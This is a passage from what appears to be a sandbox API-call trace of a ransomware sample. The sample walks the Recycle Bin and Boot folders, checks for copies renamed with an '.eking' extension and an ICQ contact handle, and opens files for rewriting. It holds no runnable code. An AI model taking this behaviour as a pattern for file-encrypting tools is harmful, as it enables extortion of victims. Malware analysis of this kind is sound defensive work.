nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b3, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0295.708] GetProcessHeap () returned 0xaf0000 [0295.708] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0295.708] FindFirstFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\*", lpFindFileData=0x2fcf3f0) Thread: id = 104 os_tid = 0xa38 [0274.975] GetProcessHeap () returned 0xaf0000 [0274.975] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xbb8170 [0274.976] GetProcessHeap () returned 0xaf0000 [0274.976] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0xbc8178 [0274.976] GetProcessHeap () returned 0xaf0000 [0274.976] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x28) returned 0xbd8660 [0274.976] GetProcessHeap () returned 0xaf0000 [0274.976] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x110102) returned 0x34d3020 [0274.981] GetProcessHeap () returned 0xaf0000 [0274.981] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x50) returned 0xafb620 [0274.982] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0274.982] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0274.982] Wow64DisableWow64FsRedirection (in: OldValue=0x310fba4 | out: OldValue=0x310fba4*=0x0) returned 1 [0274.982] GetProcessHeap () returned 0xaf0000 [0274.982] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0xafb620 | out: hHeap=0xaf0000) returned 1 [0274.982] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0274.983] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=129) returned 1 [0274.983] CloseHandle (hObject=0x29c) returned 1 [0274.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0274.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0274.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0x26 [0274.984] ResetEvent (hEvent=0x2a4) returned 1 [0274.984] SetEvent (hEvent=0x2a8) returned 1 [0274.984] CreateFileW (lpFileName="\\\\?\\C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0274.988] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=0) returned 1 [0274.988] CloseHandle (hObject=0x29c) returned 1 [0274.988] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.574] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.575] ResetEvent (hEvent=0x2a4) returned 1 [0275.575] SetEvent (hEvent=0x2a8) returned 1 [0275.575] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.575] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.590] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.591] ResetEvent (hEvent=0x2a4) returned 1 [0275.591] SetEvent (hEvent=0x2a8) returned 1 [0275.591] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.592] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=0) returned 1 [0275.592] CloseHandle (hObject=0x29c) returned 1 [0275.592] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.595] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.596] ResetEvent (hEvent=0x2a4) returned 1 [0275.596] SetEvent (hEvent=0x2a8) returned 1 [0275.596] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.598] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=95648) returned 1 [0275.598] CloseHandle (hObject=0x29c) returned 1 [0275.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0275.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0275.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\bootspaces.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.598] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.599] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.627] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.628] ResetEvent (hEvent=0x2a4) returned 1 [0275.628] SetEvent (hEvent=0x2a8) returned 1 [0275.628] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc [0275.629] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=99744) returned 1 [0275.629] CloseHandle (hObject=0x2bc) returned 1 [0275.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0275.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0275.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\bootvhd.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.629] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.630] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.632] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.633] ResetEvent (hEvent=0x2a4) returned 1 [0275.633] SetEvent (hEvent=0x2a8) returned 1 [0275.633] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.633] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45472) returned 1 [0275.633] CloseHandle (hObject=0x29c) returned 1 [0275.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0275.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0275.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.634] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.634] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.637] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.637] ResetEvent (hEvent=0x2a4) returned 1 [0275.637] SetEvent (hEvent=0x2a8) returned 1 [0275.638] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.638] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45472) returned 1 [0275.638] CloseHandle (hObject=0x29c) returned 1 [0275.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0275.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0275.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.638] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.639] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.639] ResetEvent (hEvent=0x2a4) returned 1 [0275.640] SetEvent (hEvent=0x2a8) returned 1 [0275.640] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.640] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=79200) returned 1 [0275.640] CloseHandle (hObject=0x29c) returned 1 [0275.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0275.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0275.640] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.641] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.641] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.641] ResetEvent (hEvent=0x2a4) returned 1 [0275.641] SetEvent (hEvent=0x2a8) returned 1 [0275.641] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.642] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45984) returned 1 [0275.642] CloseHandle (hObject=0x29c) returned 1 [0275.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0275.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0275.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.642] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.642] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.643] ResetEvent (hEvent=0x2a4) returned 1 [0275.643] SetEvent (hEvent=0x2a8) returned 1 [0275.643] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.644] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=80224) returned 1 [0275.644] CloseHandle (hObject=0x29c) returned 1 [0275.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0275.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0275.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.644] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.644] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.645] ResetEvent (hEvent=0x2a4) returned 1 [0275.645] SetEvent (hEvent=0x2a8) returned 1 [0275.645] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.645] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=46496) returned 1 [0275.645] CloseHandle (hObject=0x29c) returned 1 [0275.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0275.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20 [0275.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.649] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.649] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.651] ResetEvent (hEvent=0x2a4) returned 1 [0275.651] SetEvent (hEvent=0x2a8) returned 1 [0275.651] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.651] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=74072) returned 1 [0275.651] CloseHandle (hObject=0x29c) returned 1 [0275.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0275.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui")) returned 0x20 [0275.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.652] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.652] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.653] ResetEvent (hEvent=0x2a4) returned 1 [0275.653] SetEvent (hEvent=0x2a8) returned 1 [0275.653] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.653] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=74144) returned 1 [0275.653] CloseHandle (hObject=0x29c) returned 1 [0275.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0275.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0275.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.654] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.654] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.654] ResetEvent (hEvent=0x2a4) returned 1 [0275.654] SetEvent (hEvent=0x2a8) returned 1 [0275.655] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.655] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=44960) returned 1 [0275.655] CloseHandle (hObject=0x29c) returned 1 [0275.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0275.655] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0275.656] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.656] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.656] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.657] ResetEvent (hEvent=0x2a4) returned 1 [0275.657] SetEvent (hEvent=0x2a8) returned 1 [0275.657] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.658] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=77664) returned 1 [0275.658] CloseHandle (hObject=0x29c) returned 1 [0275.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0275.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0275.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.658] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.658] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.659] ResetEvent (hEvent=0x2a4) returned 1 [0275.659] SetEvent (hEvent=0x2a8) returned 1 [0275.659] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.659] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45984) returned 1 [0275.659] CloseHandle (hObject=0x29c) returned 1 [0275.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0275.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui")) returned 0x20 [0275.659] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\es-es\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.660] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\memtest.exe.mui" (normalized: "c:\\boot\\es-es\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.660] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.661] ResetEvent (hEvent=0x2a4) returned 1 [0275.661] SetEvent (hEvent=0x2a8) returned 1 [0275.661] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.661] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=77664) returned 1 [0275.661] CloseHandle (hObject=0x29c) returned 1 [0275.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0275.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0275.662] GetFileAttributesW 